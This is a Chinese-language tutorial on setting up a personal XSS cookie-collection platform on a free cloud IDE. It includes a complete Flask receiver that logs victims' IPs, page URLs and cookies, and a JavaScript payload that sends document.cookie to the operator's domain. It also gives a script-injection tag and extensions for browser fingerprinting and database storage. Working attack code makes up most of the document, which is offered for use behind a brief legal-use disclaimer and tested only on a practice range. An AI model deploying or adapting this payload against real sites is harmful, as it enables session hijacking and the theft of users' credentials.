零成本搭建个人专属XSS平台
字数 1638 2025-08-15 21:31:29

零成本搭建个人专属XSS平台 - 详细教学文档

0x00 背景与概述

本教学文档将详细介绍如何零成本搭建一个个人专用的XSS平台。与公共XSS平台相比,个人平台具有以下优势:

  • 完全控制脚本内容和功能
  • 避免公共平台的性能瓶颈和加载延迟
  • 防止后台数据泄露风险
  • 可根据需求自由扩展功能

技术组件

  • Cloud Studio:Coding旗下的云端开发环境,支持动态页面托管
  • Python 2.7/3.5+Flask:轻量级Web框架
  • JavaScript:基于BlueLotus_XSSReceiver平台的代码进行扩展

0x01 核心原理与代码

平台由两个核心文件组成:

1. app.py (Flask后端)

# -*- coding: utf-8 -*-
from flask import Flask
from flask import render_template
from flask import request
import os
import datetime

APP_ROOT = os.path.dirname(os.path.abspath(__file__))
TXT_PATH = os.path.join(APP_ROOT, 'templates')

app = Flask(__name__)

@app.route('/')
def xss():
    return render_template('xss.js')

@app.route('/rec')
def rec():
    x=request.args
    ip=request.headers.getlist("X-Forwarded-For")[0]
    with open(os.path.join(TXT_PATH, 'text.txt'), 'a+') as f:
        f.write('\n')
        print 'ok'
        f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'\n')
        f.write('ip: '+ip+'\n')
        f.write('location: '+x['location']+'\n')
        f.write('toplocation: '+x['toplocation']+'\n')
        f.write('cookie: '+x['cookie']+'\n')
        f.write('opener: '+x['opener']+'\n')
    return 'ok'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

2. xss.js (前端利用脚本)

var website = "https://(个人域名)/rec";
(function() {
    (new Image()).src = website + 
        '?location=' + escape((function() {
            try {
                return document.location.href;
            } catch (e) {
                return '';
            }
        })()) + 
        '&toplocation=' + escape((function() {
            try {
                return top.location.href;
            } catch (e) {
                return '';
            }
        })()) + 
        '&cookie=' + escape((function() {
            try {
                return document.cookie;
            } catch (e) {
                return '';
            }
        })()) + 
        '&opener=' + escape((function() {
            try {
                return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
            } catch (e) {
                return '';
            }
        })());
})();

工作原理

  1. 受害者访问包含XSS漏洞的页面,执行恶意脚本:
    <script src="https://(个人域名)"></script>
    
  2. 浏览器加载并执行xss.js
  3. JS脚本收集以下信息:
    • 当前页面URL (location)
    • 顶层窗口URL (toplocation)
    • Cookie信息
    • Opener窗口信息
  4. 通过Image对象发送GET请求到/rec端点,携带收集的信息
  5. Flask后端接收请求,将数据写入text.txt文件

0x02 详细部署步骤

1. 准备工作

  1. 访问Coding.net注册账号
  2. 完成实名认证(发布网站需要)

2. 创建Cloud Studio工作空间

  1. 登录Coding后,点击右侧"Cloud Studio"进入工作空间
  2. 点击"新建工作空间"
    • 设置工作空间名称为"XssPlatform"
    • 预置环境选择"Ubuntu 18.04"
    • 代码来源选择"空"
  3. 点击"进入"按钮

3. 初始化环境

  1. 进入工作空间后,选择"Python Demo"
  2. 记录安装命令(后续会用到):
    cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py
    
  3. 安装pip(如果未安装):
    apt-get update
    apt-get upgrade
    apt-get install python-pip
    

4. 配置平台

  1. 创建app.py文件,粘贴提供的代码
  2. 在templates目录下创建xss.js文件,粘贴提供的JS代码
  3. 修改xss.js中的域名为你将获得的预览URL

5. 运行平台

  1. 执行安装命令:
    cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py
    
  2. 启动预览:
    • 按下Ctrl+Shift+P打开命令面板
    • 输入"preview",选择"Open Preview Tab"
    • 选择"我的第一个python项目"
    • 记录生成的预览URL

6. 测试平台

  1. 使用Pikachu漏洞靶场进行测试
  2. 在反射型XSS(POST)测试页面输入:
    <script src="你的预览URL"></script>
    
  3. 提交后检查text.txt文件是否记录了相关信息

0x03 注意事项与限制

  1. 使用限制

    • Cloud Studio每天最多只能运行4小时
    • 关闭工作空间后无法访问平台
    • 需要保持Cloud Studio会话活跃
  2. 安全注意事项

    • 本平台仅用于合法安全测试和研究
    • 请勿用于非法渗透测试或攻击行为
    • 收集的数据应妥善保管,防止泄露
  3. 扩展建议

    • 可以添加更多信息收集功能
    • 考虑添加数据加密功能
    • 可以集成邮件通知功能
    • 可扩展为CSRF攻击测试平台

0x04 进阶配置

1. 自定义数据收集

修改xss.js可以添加更多信息收集功能,例如:

'&useragent=' + escape(navigator.userAgent) +
'&screensize=' + escape(screen.width + 'x' + screen.height) +
'&plugins=' + escape(JSON.stringify(navigator.plugins));

2. 持久化存储

考虑使用数据库替代文本文件存储:

import sqlite3

# 在rec函数中添加数据库操作
conn = sqlite3.connect('xss.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS data
             (date text, ip text, location text, toplocation text, cookie text, opener text)''')
c.execute("INSERT INTO data VALUES (?,?,?,?,?,?)", 
          (datetime.now(), ip, x['location'], x['toplocation'], x['cookie'], x['opener']))
conn.commit()
conn.close()

3. 安全增强

添加基本认证:

from flask_httpauth import HTTPBasicAuth

auth = HTTPBasicAuth()

@auth.verify_password
def verify_password(username, password):
    return username == 'admin' and password == 'secret'

@app.route('/rec')
@auth.login_required
def rec():
    # 原有代码

0x05 故障排除

  1. pip安装失败

    • 确保已执行apt-get update
    • 尝试更换pip源:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple package_name
  2. Flask运行错误

    • 检查Python版本:python --version
    • 确保已安装所有依赖:pip install flask
  3. 无法访问预览URL

    • 确保app.py正在运行
    • 检查防火墙设置
    • 尝试重新生成预览
  4. 数据未记录

    • 检查templates目录权限
    • 确保text.txt文件可写
    • 检查xss.js中的URL是否正确

通过以上详细步骤,您可以成功搭建一个功能完善的个人XSS平台,用于安全研究和测试目的。请始终遵守法律法规和道德准则。

零成本搭建个人专属XSS平台 - 详细教学文档 0x00 背景与概述 本教学文档将详细介绍如何零成本搭建一个个人专用的XSS平台。与公共XSS平台相比,个人平台具有以下优势: 完全控制脚本内容和功能 避免公共平台的性能瓶颈和加载延迟 防止后台数据泄露风险 可根据需求自由扩展功能 技术组件 Cloud Studio :Coding旗下的云端开发环境,支持动态页面托管 Python 2.7/3.5+Flask :轻量级Web框架 JavaScript :基于BlueLotus_ XSSReceiver平台的代码进行扩展 0x01 核心原理与代码 平台由两个核心文件组成: 1. app.py (Flask后端) 2. xss.js (前端利用脚本) 工作原理 受害者访问包含XSS漏洞的页面,执行恶意脚本: 浏览器加载并执行xss.js JS脚本收集以下信息: 当前页面URL (location) 顶层窗口URL (toplocation) Cookie信息 Opener窗口信息 通过Image对象发送GET请求到/rec端点,携带收集的信息 Flask后端接收请求,将数据写入text.txt文件 0x02 详细部署步骤 1. 准备工作 访问Coding.net注册账号 完成实名认证(发布网站需要) 2. 创建Cloud Studio工作空间 登录Coding后,点击右侧"Cloud Studio"进入工作空间 点击"新建工作空间" 设置工作空间名称为"XssPlatform" 预置环境选择"Ubuntu 18.04" 代码来源选择"空" 点击"进入"按钮 3. 初始化环境 进入工作空间后,选择"Python Demo" 记录安装命令(后续会用到): 安装pip(如果未安装): 4. 配置平台 创建app.py文件,粘贴提供的代码 在templates目录下创建xss.js文件,粘贴提供的JS代码 修改xss.js中的域名为你将获得的预览URL 5. 运行平台 执行安装命令: 启动预览: 按下Ctrl+Shift+P打开命令面板 输入"preview",选择"Open Preview Tab" 选择"我的第一个python项目" 记录生成的预览URL 6. 测试平台 使用Pikachu漏洞靶场进行测试 在反射型XSS(POST)测试页面输入: 提交后检查text.txt文件是否记录了相关信息 0x03 注意事项与限制 使用限制 : Cloud Studio每天最多只能运行4小时 关闭工作空间后无法访问平台 需要保持Cloud Studio会话活跃 安全注意事项 : 本平台仅用于合法安全测试和研究 请勿用于非法渗透测试或攻击行为 收集的数据应妥善保管,防止泄露 扩展建议 : 可以添加更多信息收集功能 考虑添加数据加密功能 可以集成邮件通知功能 可扩展为CSRF攻击测试平台 0x04 进阶配置 1. 自定义数据收集 修改xss.js可以添加更多信息收集功能,例如: 2. 持久化存储 考虑使用数据库替代文本文件存储: 3. 安全增强 添加基本认证: 0x05 故障排除 pip安装失败 : 确保已执行apt-get update 尝试更换pip源: pip install -i https://pypi.tuna.tsinghua.edu.cn/simple package_name Flask运行错误 : 检查Python版本: python --version 确保已安装所有依赖: pip install flask 无法访问预览URL : 确保app.py正在运行 检查防火墙设置 尝试重新生成预览 数据未记录 : 检查templates目录权限 确保text.txt文件可写 检查xss.js中的URL是否正确 通过以上详细步骤,您可以成功搭建一个功能完善的个人XSS平台,用于安全研究和测试目的。请始终遵守法律法规和道德准则。